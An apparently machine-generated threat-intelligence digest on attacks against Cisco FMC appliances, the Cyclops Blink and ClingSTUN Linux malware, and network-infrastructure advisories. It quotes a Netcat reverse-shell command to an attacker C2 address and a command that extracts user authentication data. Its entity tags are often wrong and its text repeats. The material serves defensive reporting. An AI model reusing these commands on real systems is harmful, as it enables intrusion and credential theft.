After obtaining access, UAT-11823 subsequently updated the “license.tmp” file on disk (using Makeself) with a malicious copy to establish a Netcat-based reverse shell to their own command-and-control (C2) server: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 208[.]123[.]119[.]215 3090 >/tmp/f
organisation WatchGuard
Cyclops Blink is malware that first surfaced in 2022 and initially targeted WatchGuard firewalls and, later, ASUS devices.
organisation ASUS
Cyclops Blink is malware that first surfaced in 2022 and initially targeted WatchGuard firewalls and, later, ASUS devices.
organisation Sophos
A Significant Upgrade for Cyclops Blink The latest variant, according to Sophos, retains many of the original features while adding several new ones.
organisation CPU
Related: Threat Actor Generates 1M Personalized Fraud Emails in 3 Days The new Cyclops Blink variant adds active network scanning and packet-capture capabilities and expands its data-collection functions to include password hashes, process command lines, CPU information, and configuration data.
organisation Modular
Modular ELF implant: Cyclops Blink
organisation DNS
This variant of Cyclops Blink consists of the following capabilities: Establish persistence scripts in /etc/init.d/ that execute the implant DNS over HTTPS (DoH) IP resolution File administration including downloads and uploads Credential harvesting Arbitrary file and command execution on the compromised system Network scanning and discovery Packet sniffing (with option filters)
organisation HTTPS (DoH
This variant of Cyclops Blink consists of the following capabilities: Establish persistence scripts in /etc/init.d/ that execute the implant DNS over HTTPS (DoH) IP resolution File administration including downloads and uploads Credential harvesting Arbitrary file and command execution on the compromised system Network scanning and discovery Packet sniffing (with option filters)
organisation API
One of them, CVE-2026-76460 , is an authentication bypass in an API that allows an unauthenticated remote attacker to execute commands as root.
organisation Cisco Nexus
InfraTrust also highlighted CVE-2026-20212 , a critical Cisco Nexus 9000 vulnerability that can allow unauthenticated attackers to gain root code execution through two debug ports that are reachable by default on affected switches.
organisation CVE-2026-33197
The disclosure resulted in three vulnerabilities tracked as CVE-2026-20293 for Cisco, CVE-2026-33197 for AMI Aptio-based systems, and CVE-2026-6485 for Insyde.
organisation AMI Aptio
The disclosure resulted in three vulnerabilities tracked as CVE-2026-20293 for Cisco, CVE-2026-33197 for AMI Aptio-based systems, and CVE-2026-6485 for Insyde.
organisation InfraTrust
InfraTrust report warns network management systems under attack.
organisation Eclypsium
This was reported in the September edition of Eclypsium's InfraTrust Pulse , a monthly report tracking security advisories affecting network devices, servers, firmware, chips, and other infrastructure.
organisation InfraTrust Pulse
This was reported in the September edition of Eclypsium's InfraTrust Pulse , a monthly report tracking security advisories affecting network devices, servers, firmware, chips, and other infrastructure.
organisation Cisco Identity Services Engine
Cisco Identity Services Engine (ISE), another management platform, was also hit with multiple critical vulnerabilities.
organisation EdgeConnect SD-WAN Orchestrator
During the September reporting period, vulnerabilities also affected HPE Fabric Composer, EdgeConnect SD-WAN Orchestrator, NVIDIA Unified Fabric Manager, Dell SmartFabric Manager, SonicWall NSM On-Prem, and Arista management interfaces.
organisation Arista
During the September reporting period, vulnerabilities also affected HPE Fabric Composer, EdgeConnect SD-WAN Orchestrator, NVIDIA Unified Fabric Manager, Dell SmartFabric Manager, SonicWall NSM On-Prem, and Arista management interfaces.
organisation Check Point
Check Point also disclosed three critical, remotely exploitable vulnerabilities that require no authentication.
organisation The Dutch Nationaal Cyber Security Centrum
The Dutch Nationaal Cyber Security Centrum (NCSC) urged admins to install security updates , warning that exploitation was imminent.
organisation UEFI
The vulnerability allows an attacker with access to UEFI boot settings to launch an embedded UEFI Shell that is normally blocked during startup.
organisation Shell
The vulnerability allows an attacker with access to UEFI boot settings to launch an embedded UEFI Shell that is normally blocked during startup.
organisation AMI
AMI, Dell, Cisco, Lenovo, and Supermicro have released or announced fixes for affected products.
organisation Lenovo
AMI, Dell, Cisco, Lenovo, and Supermicro have released or announced fixes for affected products.
organisation Supermicro
AMI, Dell, Cisco, Lenovo, and Supermicro have released or announced fixes for affected products.
organisation NFL
Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.
organisation CHANEL
Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.
organisation Cisco FMC
"The discovery on Cisco FMC devices highlights the risk posed by compromised network-management infrastructure.
organisation Hostname
…ommands to run on the system to conduct extensive reconnaissance in the victim organization’s environment: Host names, IP addresses, directory listings Active Directory (AD) service-accounts credentials, MySQL account credentials Domain account information exfiltration Computer object lists Hostname to IP mappings spanning domain controllers, ADFS, exchanges, file servers, database servers, etc.
organisation ADFS
…ommands to run on the system to conduct extensive reconnaissance in the victim organization’s environment: Host names, IP addresses, directory listings Active Directory (AD) service-accounts credentials, MySQL account credentials Domain account information exfiltration Computer object lists Hostname to IP mappings spanning domain controllers, ADFS, exchanges, file servers, database servers, etc.
organisation LOTL
…iminary stages of the attack entailed the threat actor gaining access to the system via static credentials ( CVE-2026-20316) and then abusing legitimate built-in FMC tooling in living-off-the-land (LOTL) fashion to conduct extensive reconnaissance of the victim’s environment, deploy tunneling tools to maintain network access, harvest credentials, and build a target list of endpoints to encrypt/…
organisation Secure Firewall Management Center
Cisco Talos is actively tracking the exploitation of two vulnerabilities in Cisco’s Secure Firewall Management Center (FMC) Software.
organisation users;\
…JAR file (named “cmd[.]jar”) to query the compromised systems’ internal databases to obtain user authentication data and credentials: /var/jre/bin/java -jar cmd.jar '/var/sf/bin/OmniQuery.pl -db mdb -e \'SELECT name, auth_data FROM users;\'' The JAR file is basically a command executor that obtains the command to be executed from its command line and executes it using /bin/sh -c <command>.
organisation UAT-12197 cmd[.]jar
Db491181ece3f319de6567ab6f6daa90c6879911cd890155e6b7d8cc7a1a8c8e UAT-12197 cmd[.]jar – JAR-based command executor.
organisation JSP
The web shell is JSP-based and Base64 decodes a parameter labelled “F6C1F0E7”, consisting of the class name to load in the JAVA process: The web shell was used to place a malicious JAR file in the same directory.
organisation JAR
The web shell is JSP-based and Base64 decodes a parameter labelled “F6C1F0E7”, consisting of the class name to load in the JAVA process: The web shell was used to place a malicious JAR file in the same directory.
organisation APT
Cluster #2: UAT-11823 Talos attributes this cluster of activity to UAT-11823, an advanced persistent threat (APT) actor, with high confidence.
financial 2 Cluster
Cluster #2: UAT-11823 Talos attributes this cluster of activity to UAT-11823, an advanced persistent threat (APT) actor, with high confidence.
organisation Sandworm APT
UAT-11823 overlaps in tooling with the Sandworm APT actor.
organisation ELF
The threat actors downloaded a modular ELF implant from one of their Netcat C2 servers.
organisation SSH
The threat actor also staged a SOCKS proxy and reverse-SSH tunnel to forward ports from internal hosts back to their own infrastructure.
organisation license[.]tmp
Instrumenting operations via package_info.pl After successfully accessing the device, the threat actor abused the legitimate utility “package_info.pl” to execute an attacker-crafted malicious “license[.]tmp” file with root privileges.
organisation SMB
The following ports were forwarded: LDPA (389), LDAPS (636), Kerberos (88), SMB (445), NETBIOS (135), and WinRM (5985).
organisation NETBIOS
The following ports were forwarded: LDPA (389), LDAPS (636), Kerberos (88), SMB (445), NETBIOS (135), and WinRM (5985).
data_breach 445 SMB
The following ports were forwarded: LDPA (389), LDAPS (636), Kerberos (88), SMB (445), NETBIOS (135), and WinRM (5985).
data_breach 135 NETBIOS
The following ports were forwarded: LDPA (389), LDAPS (636), Kerberos (88), SMB (445), NETBIOS (135), and WinRM (5985).
organisation TAC
Customer support is also available by initiating a TAC request .
organisation Attacker IP
43.204.2[.]142 UAT-11988 Attacker IP address used to conduct intrusions.
Tactical Metrics
Metrics
infrastructure
‎26.2.3
Software Version
Versions 26.2.3 and earlier are affected.
Metrics
infrastructure
‎Linux
Affected Product
IOC - ClingSTUN Linux Backdoor Abuses Public STUN Infrastructure.
FortiGuard Labs has been tracking a Linux malware strain we call ClingSTUN that exploits known, unpatched vulnerabilities in Internet-facing devices to establish a persistent foothold.
References: hxxps://www[.]fortinet[.]com/blog/threat-research/clingstun-linux-backdoor-abuses-public-stun-infrastructure Indicators of compromise: 124[.]163[.]212[.]119 5c4e263546fb21f8fe8732789a5b6583eaa8ae11ebeef099462a7c9bf50e022d 9391c6ad17aced1142607c0c623b18d86a7697cc483d204ffac94093e26b8068 e4d12208789f36efc5a1ff765088fed95d6bb5972d1a804a4536fd42366797d4 2ed54e0f988a62039abed88f6394eb1e3…
ClingSTUN Linux Backdoor Abuses Public STUN Infrastructure.
A Linux malware strain named ClingSTUN exploits unpatched vulnerabilities in Internet-facing devices to establish persistent footholds and functions as a back-connect proxy backdoor.
Linux Backdoor Abuses STUN Protocol, Exploits Dozens of Flaws.
A recently discovered Linux backdoor turns infected systems into proxies that use the Session Traversal Utilities for NAT (STUN) protocol and contains exploits for self-propagation, FortiGuard Labs reports.
Hackers Exploit 24 IoT Vulnerabilities to Install ClingSTUN Linux Backdoor.
FortiGuard Labs has identified a Linux backdoor that exploits known vulnerabilities in internet-facing devices and converts infected systems into remotely controlled proxy nodes.
This allows the campaign to target different types of Linux-based IoT and networking equipment.
InfraTrust found that CVE-2026-31431, a Linux kernel privilege escalation vulnerability dubbed "CopyFail" and added to CISA's KEV catalog in May, now appears in 19 separate security advisories from six vendors.
Sophos Counter Threat Unit also analyzed a Linux implant named "timezone_check" recovered from compromised FMC appliances and identified it as a variant of Cyclops Blink, malware previously associated with the Sandworm threat group.
One Linux flaw spreads across 19 advisories The September report also shows how supply-chain vulnerabilities in third-party components can create patching headaches across infrastructure products.
These changes potentially make Cyclops Blink compatible with a broader range of Linux-based network appliances and give attackers a more powerful platform for reconnaissance and intelligence collection, Sophos said.
The most significant change is that the malware now runs on 64-bit x86-64 Linux systems rather than the older 32-bit PowerPC architecture used by the original version.
It also uses generic Linux persistence techniques instead of modifying vendor-specific firmware.
Metrics
infrastructure
‎Macos
Affected Product
Related: macOS Users Targeted by Fake Zoom Installer Carrying CloudSyncD Backdoor Related: AI Agents Aimed SQL Injection at US and Canadian Government Sites Related: Russian APT Star Blizzard Uses ‘RedFlick’ Infection Chain in Recent Attacks Related: Hackers Use ChatGPT Custom GPTs in ClickFix Attacks
Metrics
infrastructure
‎Ivanti
Affected Product
The malware’s operators were seen indiscriminately exploiting Avtech, EnGenius, D-Link, Hytec, Ivanti, Lantronix, Linear, MeiG, Realtek, Sunhillo, Tenda, and TP-Link flaws, and appear to be expanding their portfolio with other exploits as well.
Avtech D-Link EnGenius Hytec Ivanti Lantronix Linear MeiG Realtek Sunhillo Tenda TP-Link FortiGuard also found seven hardcoded exploits that ClingSTUN can use to spread to other vulnerable devices.
Metrics
infrastructure
‎10.0
Software Version
The attacks leverage CVE-2026-20079 (CVSS score: 10.0), an authentication bypass vulnerability in the web interface of FMC software that could allow an unauthenticated, remote attacker to bypass authentication and execute script files on an affected device to obtain root access to the underlying operating system.
Metrics
financial
3
Cluster
Cluster #3: UAT-11988, a Qilin ransomware operator A third cluster of activity entailed a ransomware operator (tracked as UAT-11988) logging into an FMC device with static credentials ( CVE-2026-20316 ), performing extensive reconnaissance, domain enumerations, credential theft, and building a list of target endpoints within the compromised organization for encryption.
Metrics
financial
1
Cluster
Cluster #1: UAT-12197 This cluster of activity involved the successful exploitation of CVE-2026-20079 and the subsequent placement of a malicious web shell in the CSM Tomcat webroot directory.
Metrics
financial
2
Cluster
Cluster #2: UAT-11823 Talos attributes this cluster of activity to UAT-11823, an advanced persistent threat (APT) actor, with high confidence.
Metrics
data_breach
445
Smb
The following ports were forwarded: LDPA (389), LDAPS (636), Kerberos (88), SMB (445), NETBIOS (135), and WinRM (5985).
Metrics
data_breach
135
Netbios
The following ports were forwarded: LDPA (389), LDAPS (636), Kerberos (88), SMB (445), NETBIOS (135), and WinRM (5985).
Intelligence Sources
The Hacker News 2026-09-11
Dark Reading 2026-09-14
Talos Intelligence 2026-09-09
BleepingComputer 2026-09-23
AlienVault OTX 2026-10-22
AlienVault OTX 2026-10-20
AlienVault OTX 2026-10-16
AlienVault OTX 2026-10-14
SecurityWeek 2026-10-05
AlienVault OTX 2026-10-05